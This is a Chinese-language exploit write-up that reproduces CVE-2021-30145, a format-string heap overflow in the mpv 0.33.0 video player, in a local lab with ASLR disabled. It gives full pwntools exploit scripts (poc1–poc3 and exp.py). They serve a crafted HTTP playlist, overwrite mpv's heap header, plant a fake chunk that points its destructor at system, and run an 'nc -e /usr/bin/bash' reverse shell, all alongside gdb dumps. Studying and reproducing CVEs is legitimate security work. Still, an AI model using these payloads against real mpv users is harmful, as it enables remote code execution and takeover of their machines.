CVE-2021-30145 调试复现分析

0x00 写在前面

本实验是对 CVE-2021-30145 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守法律法规。

0x01 漏洞介绍

mpv 是一款流行的开源视频播放器项目,可以在多个系统包括Windows、Linux、MacOS上运行。

然而,在 v0.33.0 版本中,软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

由于该软件支持通过链接打开远程资源,所以能造成一个 RCE

本利用是在 Ubuntu20.04 平台上关闭了 ASLR 进行利用,漏洞利用内存状态如下所示

漏洞利用过程图

0x02 环境配置

该利用实验过程中,所有下载的文件为: mpv-0.33.0.zip exp.py poc1.py poc2.py

漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo apt install -y git build-essential python3-pip vim autoconf libtool libfreetype-dev libfreetype6-dev libfribidi-dev libharfbuzz-dev libfontconfig1-dev nasm freeglut3-dev libmpv-dev libxinerama-dev libass-dev libavutil-dev libavcodec-dev libavformat-dev libswscale-dev libavfilter-dev libswresample-dev
wget https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip
unzip v0.33.0.zip
cd mpv-0.33.0

./bootstrap.py
./waf configure --disable-gl # 禁用 gl
./waf -j8

# 也可以不安装 不过后面就需要给定路径了 安装了就不用
sudo ./waf install

# mpv can run

调试环境

1
2
3
4
python3 -m pip install pwntools -i https://pypi.mirrors.ustc.edu.cn/simple/
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

0x03 漏洞位置

在项目的 /demux/demux_mf.c:154 处,函数 open_mf_pattern 中存在格式化字符串漏洞,其中的 fname 是通过第124 行申请的堆块,在 154 行时通过 sprintf 往其中写内容时, filename 是用户可控的缓冲区数据,由于对其过滤检验不严格,因此可以使用格式化字符串造成堆溢出。

漏洞位置

缓冲区来源

检验 filename 中内容的逻辑位于 126 行,由于其业务需要允许用户输入一个 % (我猜测是为了记录上述 while 失败的次数,所以当且仅应当允许 1个 %d 出现),可以看到校验逻辑只是判断有无,而并未判断 % 个数,及其后面的参数,因此校验逻辑不严格。

%检测不健全

当输入多个 % 可以造成地址泄露,例如,当输入 mpv -v mf://%p.%p.%p 能成功泄露栈上的信息,参数 -v 是看详细信息。

手动 PoC 测试

由于 sprintf 的输出目的缓冲区是一个堆块,因此利用格式化字符串漏洞注入大量的数据,可以造成堆溢出。例如输入 mpv mf://%1000d 时,程序会崩掉。

程序崩溃

0x04 代码分析

mpv 程序封装了自己的堆管理逻辑与结构。其对应的堆结构定义在 /ta/ta.c:36 处,头部一共有如下一些结构。而上述通过分配得到的 fname 即是这样一个堆结构的数据域起始位置,紧紧邻在堆头后面。 堆头中的 canary 域是一个定值 0xd3adb3ef ,是用于校验堆头结构是否存在错误。

ta-header

/ta/ta.c:65 还定义了两个宏,用来对堆的数据与堆头之间进行相互查找。但是其本质在这里就是 h + 0x50 == ptr

PTR_TO_HEADER

对堆块进行释放时定义在 /ta/ta.c:238 ,当进行释放操作时,传入的是一个数据域的指针,然后获取其堆结构头指针。若堆头结构有效,则看是否有 destructor 域,有就直接调用并将当前数据域指针作为其参数。之后调用 /ta/ta.c:229 的函数 ta_free_children 尝试释放当前堆结构的 child 。而 ta_free_children 则依次尝试对堆结构中的 child 进行释放,两者是一个相互调用关系。而后 ta_free 清空 parent 域,然后释放堆。

ta_free 和 ta_free_children

get_header 函数定义在 /ta/ta.c:74 ,其根据传入的数据域指针,尝试找到往前偏移的堆头结构,并调用 ta_dbg_check_header 对堆头进行校验,具体而言是检测其中的 canary 值,并且检测 childparent 的结构关系。最简单的绕过方法就是填充 0x0 即可。

get_header

ta_dbg_check_header

描述上述的释放时检测机制,旨在分析得出进行堆块覆盖和伪造时,哪些域应该满足哪些条件。

0x05 调试分析

简单分析

这个利用是关闭 ASLR 进行的,所以先进行关闭

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

此时,使用 gdb 启动程序,对其进行初步分析。反汇编函数 open_mf_pattern 找到目标函数位置。(为了看一个保护机制)

反汇编函数 open_mf_pattern

在其中找到大约 +559 处就是上述存在漏洞点位置前。

0x0000000000055ff7 <+551>: mov esi,0x1
0x0000000000055ffc <+556>: add ebx,0x1
0x0000000000055fff <+559>: call 0x2e550 \__sprintf_chk@plt
0x0000000000056004 <+564>: mov rdi,r13
0x0000000000056007 <+567>: call 0x91580

这里调用的函数被替换为了 __sprintf_chk@plt 这是因为开启了 FORTIFY 保护, sprintf 被替换了。关于函数 __sprintf_chk 其实也差不多。第一个参数是目标缓冲区;第二个参数是安全检查标志,由编译器设置;第三个参数是,用于检测缓冲区溢出,但是这里目标缓冲区是堆,所以编译器不知道填多少,就会默认填为 0xffffffffffffffff所以还是可以溢出);第四个参数是格式化字符串参数;后面是正常的可变参数。

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL

这个保护机制不是很重要,比如 PIE 是否开启,对这里就没啥影响,不用折腾去反复编译。

poc1

然后下断点,准备进行堆查找。,

1
b *open_mf_pattern+559

poc1 代码如下,创建一个HTTP服务端,这里填充的字符是 0x80 个字符串。有前面申请缓冲区时可知,申请 fname 给出的长度为: “len(filename)+32” 这个 filename 就是这里给出的 playlist 中的大部分,因此这个字符串的长度会影响申请的堆块大小,进而影响堆申请的位置,所以在后续调试过程中需要保证相对大小,才能保证堆块的相对位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()
playlist = b'mf://'
playlist += b'A'*0x80
playlist += b'%d' # we need a '%' to reach vulnerable path
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()

ps: 这里不妨先使用 0x80 ,后面再讲述如何确定实际环境下的实际值(poc2中不成功再来)。

运行服务端后,在 gdb 中运行程序。

1
gdb-peda$ r http://localhost:7000/x.m3u

如下图所示,可以看到程序停在 printf 前,此时查看 rdi (或者 peda guess)能得知第一个参数的值。而根据前面的分析,第一个参数就是申请分配到的堆块 fname (堆数据域)。

printf 断点前数据

此时,尝试对堆附近的值进行查看 x/140xg 0x7fffe4000cb0-0x500x7fffe4000cb0 对应数据域,0x50 是堆头长度,这里减去是为了从堆头开始看,这里我对堆中打印的值进行了标注。这里我定位第二个堆头是靠的 canary 值,不知道还有无其他方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ x/140xg 0x7fffe4000cb0-0x50
0x7fffe4000c60: 0x00000000000000a0 0x0000000000000000 [size] | [prev] <heap head 1>
0x7fffe4000c70: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffe4000c80: 0x00007fffe40011b0 0x0000000000000000 [parent] | [destructor]
0x7fffe4000c90: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffe4000ca0: 0x0000000000000000 0x000055555565cd2f [leak_prev] | [name]
0x7fffe4000cb0: 0x00005555556b60c0 0x000055555560ff30 <data start>
0x7fffe4000cc0: 0x000055555560fef0 0x0000000000000000
0x7fffe4000cd0: 0x000055555560fee0 0x000055555560ffa0
0x7fffe4000ce0: 0x000055555560fec0 0x0000000000000085
0x7fffe4000cf0: 0x0000000000000001 0x000000000000000c
0x7fffe4000d00: 0x00007fffe400cf80 0x00007fffe40011f0
0x7fffe4000d10: 0x00007fffe4001270 0x00007fffe400cf30
...
0x7fffe4000fe0: 0x0000000000000000 0x0000000000000155
0x7fffe4000ff0: 0x00000000000000f8 0x0000000000000000 [size] | [prev] <heap head 2>
0x7fffe4001000: 0x00007fffe400e280 0x00007fffe40011b0 [next] | [child]
0x7fffe4001010: 0x00007fffe400cf50 0x0000000000000000 [parent] | [destructor]
0x7fffe4001020: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffe4001030: 0x0000000000000000 0x000055555565a896 [leak_prev] | [name]
0x7fffe4001040: 0x00005555556ac260 0x0000000000000000 <data start>
0x7fffe4001050: 0xffffffffffffffff 0x0000000000000000
0x7fffe4001060: 0x00007fffe400ec60 0x0000000000000000
0x7fffe4001070: 0x0000000000000000 0xbff0000000000000

这里,已经成功拿到了两个堆块位置,便可以计算两者的间距,进而计算格式化字符串应该要覆盖的位置,尝试进行利用。

这里申请的 0x80 是笔者通过自己的测试,实际得出的一个可行值。需要根据实验环境进行实测,才能确定。这个值需要满足两个要求:

  1. 不能太短,后面需要容纳一定量的exp格式化字符串。
  2. 从这个大小的堆块往后找到的受害者堆块中间的数据要能被任意覆写,否则会崩溃。(我就因为在这卡了好久,后面eip就始终不对)。

你可以自己编写一个简答的溢出去进行测试看是否崩溃,也可以看 poc2 部分再进行测试。

poc2

在前文已经拿到了两个堆块的相对位置,则只用从第一个堆溢出过去覆盖堆块二中的重要区域即可。

通过前文的分析的释放逻辑可以知道,堆块2在被释放时会检测堆头中的 destructor 域,如果不为空会优先调用该函数。

所以,如果利用溢出,巧妙将堆块2中的 destructor 域覆盖为想要的值,即可成功劫持控制流,执行我们想执行的函数。而当覆盖到 destructor 时,位于前面的所有域都会被覆盖到,鉴于输入的 playlist 长度会影响堆块的申请,所以不能随意填充 padding 实现占位,只能通过格式化字符串进行操作,所以需要考虑要满足释放时的检测条件。

简单说就是可以将 parent 域设置为 0x00 即可。

ta_free 的利用

有了上述的思路,就可以开始着手构建一个覆盖性的测试,poc2 如下,如何计算的值已经写在注释中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3

import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ADDR = ('localhost', 7000)
s.bind(ADDR)
s.listen(5)

# 这里需要根据自己实际的测试值进行修改
header2 = 0x7fffe4000ff0
header1 = 0x7fffe4000c60
heap_size = 0x80

# 这函数基本能正常工作,如果不对,还是要自己写格式化字符串了。
def get_playlist(header1, header2, heap_size, zero_arg = 4):

nnn1 = header2 - header1 - 0x50 + 0x20 - 2
# 填充 father 为全 0, 并填充 destructor 是 \x22\x22\x22\x22\x22\x22
father_destructor = (f"%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c\x22\x22\x22\x22\x22\x22").encode()
payload = (f"%{nnn1}c%c%c").encode() + father_destructor

padding = b"A" * (heap_size - len(payload))

nnn = nnn1 - len(padding)

assert len(str(nnn)) == len(str(nnn1)), "Get nnn length error, need add padding"

playlist = b'mf://' + padding + (f"%{nnn}c%c%c").encode() + father_destructor
return playlist
"""
先不考虑占位符,就用 %nnn1c%c%c写入缓冲区到刚好下一个位置要写入 father
所以,nnn1的计算为:
先用 header2 - header1 得到两个堆块中间的间距;
-0x50 是第一个堆块是从数据域开始写的,堆头是0x50;
+0x20 是第二个堆块的 parent 距离堆头为 0x20;
-2 是后续,再写了 “%c%c” 会输出两个字符。
然后,只用这个长度不够,会导致申请的堆块不够,所以需要进行字符填充
所以用 padding = b"A" * (heap_size - len(payload)) 计算维护堆大小需要的填充。
而有填充就会再占用空间,所以 %nnn1c%c%c 便不用填充这么多,多填充的要吐出来。
所以 nnn = nnn1 - len(padding)
最后,需要保证这个减小后位数一样,如果不一致,变小了,则需要再加一个 padding 再减小一个数值
(其实一点点差异不影响,堆块申请本就是一个范围的,但是保证一样肯定可以一样。

填充 \x22\x22\x22\x22\x22\x22 到 destructor 很简单,但是填充 \x00 就困难了,
如果直接发送会造成格式化字符串截断,所以需要根据函数前后的值,使用格式化字符串进行。
通过观测,是发现栈上第二层全是 0 ,并且第二层被理解成了第4个参数,所以用 %4$c 即可。
(__sprintf_chk@plt函数会自动填充两个参数,所以原来的第4个参数,在程序中看就是第6个参数了。虽然我还是没想明白怎么是第4个,不过没关系,测试出来就是第4个)
如果填充不了,那可能需要再想办法来填充这个 \x00 ,找别处的值也行。
"""
while True:
zero_arg = 4
playlist = get_playlist(header1, header2, heap_size, zero_arg)
print("[*] listening on ", ADDR, "length = ", len(playlist), playlist)
c, a = s.accept()
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
print("[+] finish: ", a)
c.close()

然后,运行这个 poc2 再输入 r 重新观测 gdb 中的情况,盯着 r15 看,简单看一下汇编就能发现 r15 对应原来 while 循环中的次数 error_count 。所以,需要连续 c 直到 r15 变成 4 此时就是最后一次 printf 执行前。

此时再查看堆中的数据,可以看到正确的覆盖到了堆块2中的 destructor=0x222222222222 ,同时保证了 parent=0x0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ x/140xg 0x7fffe4000cb0-0x50
0x7fffe4000c60: 0x00000000000000a0 0x0000000000000000 [size] | [prev] <heap head 1>
0x7fffe4000c70: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffe4000c80: 0x00007fffe40011b0 0x0000000000000000 [parent] | [destructor]
0x7fffe4000c90: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffe4000ca0: 0x0000000000000000 0x000055555565cd2f [leak_prev] | [name]
0x7fffe4000cb0: 0x4141414141414141 0x4141414141414141 <data start>
0x7fffe4000cc0: 0x4141414141414141 0x4141414141414141
0x7fffe4000cd0: 0x4141414141414141 0x4141414141414141
0x7fffe4000ce0: 0x4141414141414141 0x4141414141414141
0x7fffe4000cf0: 0x4141414141414141 0x4141414141414141
0x7fffe4000d00: 0x2020202020202041 0x2020202020202020
0x7fffe4000d10: 0x2020202020202020 0x2020202020202020
... <'0x20' repeated>
0x7fffe4000fe0: 0x2020202020202020 0x2020202020202020
0x7fffe4000ff0: 0x2020202020202020 0x2020202020202020 [size] | [prev] <heap head 2>
0x7fffe4001000: 0x2020202020202020 0x9f6e032020202020 [next] | [child]
0x7fffe4001010: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffe4001020: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffe4001030: 0x0000000000000000 0x000055555565a896 [leak_prev] | [name]
0x7fffe4001040: 0x00005555556ac260 0x0000000000000000 <data start>
0x7fffe4001050: 0xffffffffffffffff 0x0000000000000000

此时,就是见证前面偏移是否正确的时候了,轻轻按一个 c ,观测程序崩溃时,是否成功劫持到了 rip=destructor 。如下图,就是成功劫持到了 rip 到这里就基本成功了。

rip 劫持成功

如果是崩在了其他地方,比如这里,就要去调整前面的堆块大小了。此时调整就比较简单了,由于有了 poc2 可以通过直接修改其中的 heap_size 值来控制堆块大小,另外每次测试需要运行两次,先用这个大小去测试拿到两个堆块的地址,再将地址更新到 poc2 中,再运行以观测程序是否成功劫持即可。

如果还是测不出来,估计就是不行了。。。。

劫持控制流失败的实例

假设你已经成功劫持到了 rip 了,后面再继续利用。

这里一个简单的思路就是将这个 destructor 劫持到 system ,然后在第二个堆块的数据域起始位置覆盖成 “/bin/sh” 或者其他执行的命令就可以了吧?

但是笔者根据自己的尝试,始终程序就是崩溃了,个人感觉是不是 % 个数过多没法绕过了之类的,但是没有进一步研究

根据具体测试,在当前利用成功的环境中,最多允许出现11个 %4$c,超过这个数,在printk中就会报错。进一步测试发现多个 % 并不会报错,但是多个 %4$c 就会报错。

所以还是继续沿着参考的思路进行吧。

poc3

接下来的利用思路,是尝试构建一个假堆,在其中布置 destructorsystem ,布置数据域为 /bin/sh 之类的命令。然后将第二个堆块的 child 域指向假堆块。当第二个堆块被释放时,会检测对 child 堆块的释放,从而对假堆块进行释放,进而完成利用。

ta_free

整个过程中堆的相对位置如下图所示

堆排布示意图

有了上述初步的思路,需要构建这样的假堆块,一个显然的想法是在当前第一个堆块的数据域中构建,但这样依然是通过格式化字符串的方式写入数据,一旦遇到需要写入大量的 \x00 时,这方案就会破产(我没有细究能放置多少个 % )。

但其实大可不必,构建的假堆块在任意位置就行,也就是任意可以存放能存数据的数据区域就行。那么很显然,mpv 通过HTTP请求获取到数据时,原本就会将数据报文保存起来,则原生就存在一个保存任意用户输入的内存区域,此时在该区域合适布置数据,再将指针指引过来即可。

这样相比于使用格式化字符串的好处是,该部分是保存的HTTP报文:

  1. 长度近乎无限(实际是有限的,但是通常不会限制到payload长度)。
  2. HTTP报文不存在 \x00 截断问题,可以自然写入任何形状的字符。

所以,此时重新构建 HTTP 数据包,在 HTTP-header 中嵌入构建的假堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSTEM_ADDR = 0x7ffff5c97290 # 可以通过 gdb 查看到 `print system`
CANARY = 0xD3ADB3EF

fake_chunk = b"" # padding, I like to align it
fake_chunk += p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'fakechunk: ' # 在头部创建一个字段 将假堆块放进去
d += fake_chunk
#d += b'gnome-calculator\x00' # 弹出计算器
d += b'/usr/bin/nc 127.0.0.1 9999 -e /usr/bin/bash\x00' # 回连 shell

然后,覆盖还是采用 poc2 的思路,将第二个堆块头部的 parent=0x00child=fake_chunk_addr ,此时还不知道具体假堆块的位置,所以可以暂时填充不含 \x00 的串都可以。poc3 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

def get_playlist3(header1, header2, heap_size, zero_arg = 4):
# 打过去覆盖到 child = fake_chunk_header && set parent = 0x0
nnn1 = header2 - header1 - 0x50 + 0x20 - 2 - 0x10 + 0x8

# 先随便填充 后面再改成计算得到的值
fake_header = b"\x60\x1e%4$c\xe4\xff\x7f" # 0x7fffe4001eb0 --> 0x7fffe4001e60
fake_header += (f"%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c").encode()
#father_destructor = (f"%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c\x22\x22\x22\x22\x22\x22").encode()

payload = (f"%{nnn1}c%c%c").encode() + fake_header

padding = b"A" * (heap_size - len(payload))
nnn = nnn1 - len(padding)

assert len(str(nnn)) == len(str(nnn1)), "Get nnn length error"

playlist = b'mf://' + padding + (f"%{nnn}c%c%c").encode() + fake_header
return playlist

header2 = 0x7fffe4000ff0
header1 = 0x7fffe4000c60
heap_size = 0x80
playlist = get_playlist3(header1, header2, heap_size)

SYSTEM_ADDR = 0x7ffff5c97290
CANARY = 0xD3ADB3EF

fake_chunk = b"" # padding, I like to align it
fake_chunk += p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'fakechunk: '
d += fake_chunk
#d += b'gnome-calculator\x00'
d += b'/usr/bin/nc 127.0.0.1 9999 -e /usr/bin/bash\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()

运行 poc3 后,再次启动程序,这里利用了 Linux 下面的内存管理机制,即这个HTTP报文与申请到的堆会在同一个页中,因此通过定位第一个堆块所在页,再在该页中搜索上述构建的假堆块的关键数据,例如这里是搜索 “/usr/bin/nc” (假堆块的数据域),即可得到这组数据所在内存中位置 。由于关闭了 ASLR,所以每次的地址都是固定的。

如下图,计算的得到假堆头的位置为 0x7fffe4001eb0-0x50=0x7fffe4001e60

1
2
3
4
5
6
7
gdb-peda$ vmmap 0x7fffe4000cb0
Start End Perm Name
0x00007fffe4000000 0x00007fffe40b0000 rw-p mapped
gdb-peda$ searchmem "/usr/bin/nc" 0x00007fffe4000000 0x00007fffe40b0000
Searching for '/usr/bin/nc' in range: 0x7fffe4000000 - 0x7fffe40b0000
Found 1 results, display max 1 items:
mapped : 0x7fffe4001eb0 ("/usr/bin/nc 127.0.0.1 9999 -e /usr/bin/bash")

所以,重新修改 poc3.py 中的 fake_header 值为 0x7fffe4001e60 即可。

这里有个细节,如果得到的 fake_header 不是 0x7fffe4001e60 的内存对齐的位置,可以通过调控HTTP报文中的头的名字,或者在 fake_chunk 中添加 padding 来调整假堆块的位置,使得最终的数据是内存对齐的。

在调整完毕后,即可形成最终的 exp.py

在运行 exp.py 后,重新运行程序,在最后一次 continue 后,查看对应的堆中数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ x/10xg 0x7fffe4000ff0 # 查看第二个堆块的堆头
0x7fffe4000ff0: 0x2020202020202020 0x2020202020202020
0x7fffe4001000: 0x9f66032020202020 0x00007fffe4001e60 # child 指针被指向了假堆块
0x7fffe4001010: 0x0000000000000000 0x0000000000000000
0x7fffe4001020: 0x00000000d3adb3ef 0x0000000000000000
0x7fffe4001030: 0x0000000000000000 0x000055555565a896
gdb-peda$ x/20xg 0x00007fffe4001e60 # 查看假堆块的数据
0x7fffe4001e60: 0x0000000000000000 0x0000000000000000
0x7fffe4001e70: 0x0000000000000000 0x0000000000000000
0x7fffe4001e80: 0x0000000000000000 0x00007ffff5c97290 # parent=0x0, destructor=system
0x7fffe4001e90: 0x00000000d3adb3ef 0x0000000000000000
0x7fffe4001ea0: 0x0000000000000000 0x0000000000000000
0x7fffe4001eb0: 0x6e69622f7273752f 0x2e37323120636e2f # system 的参数 这里是回连 shell
0x7fffe4001ec0: 0x393920312e302e30 0x752f20652d203939
0x7fffe4001ed0: 0x622f6e69622f7273 0x0a0d0a0d00687361
0x7fffe4001ee0: 0x4141412f2f3a666d 0x4141414141414141
0x7fffe4001ef0: 0x4141414141414141 0x4141414141414141

在上述堆中数据最后检测成功后,简单 continue 即可看到回连的 shell 。

0x06 利用成功

运行exp后,在gdb中运行:

1
r http://localhost:7000/x.m3u

成功回连。

成功回连

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import socket
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

def get_playlist3(header1, header2, heap_size, zero_arg = 4):
# 打过去覆盖到 child = fake_chunk header && set parent = 0x0
nnn1 = header2 - header1 - 0x50 + 0x20 - 2 - 0x10 + 0x8

# 先随便填充 后面再改成计算得到的值
fake_header = b"\x60\x1e%4$c\xe4\xff\x7f" # 0x7fffe4001eb0 --> 0x7fffe4001e60
fake_header += (f"%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c%{zero_arg}$c").encode()

payload = (f"%{nnn1}c%c%c").encode() + fake_header

padding = b"A" * (heap_size - len(payload))
nnn = nnn1 - len(padding)

assert len(str(nnn)) == len(str(nnn1)), "Get nnn length error"

playlist = b'mf://' + padding + (f"%{nnn}c%c%c").encode() + fake_header
return playlist

header2 = 0x7fffe4000ff0
header1 = 0x7fffe4000c60
heap_size = 0x80
playlist = get_playlist3(header1, header2, heap_size)

SYSTEM_ADDR = 0x7ffff5c97290
CANARY = 0xD3ADB3EF

fake_chunk = b"" # padding, I like to align it 用于调控地址对齐
fake_chunk += p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'fakechunk: '
d += fake_chunk
#d += b'gnome-calculator\x00' # 计算器
d += b'/usr/bin/nc 127.0.0.1 9999 -e /usr/bin/bash\x00' # 回连 shell
d += b'\r\n'
d += b'\r\n'
d += playlist
c.send(d)
c.close()

0x07 总结与思考

  1. 坑还是挺多的,对于两个堆之间有不能覆盖的区域就没法处理了。
  2. 对于写入 \x00 这个也比较依赖环境,我就折腾过一个关闭了 PIE 的环境,结果栈上的 \x00 太远了,就没法完成写入 \x00 的操作了。
  3. 利用 HTTP 报文中的数据来构建假堆块这个思路确实比较好,是个好办法,反正就是需要一个任意写数据的其余就可以了。
  4. 对格式化字符串的利用以及理解得到了加深。
  5. 对于不熟悉的程序也没事,盯着关键的几个地方看就好。找漏洞点,分析漏洞点的数据来源以及去向。比如这里目标缓冲区是一个堆空间,自然要研究一下其堆结构,以及对应的堆释放机制等。

虽然花费了很多时间,但是还是挺有意思的。比起写教材的苦力活不知道有意思到哪里去了。

又重新编译一个版本, 0x50 又可以ok了,而且距离还很近。。

0x08 参考

全网好像都是这一个版本 https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw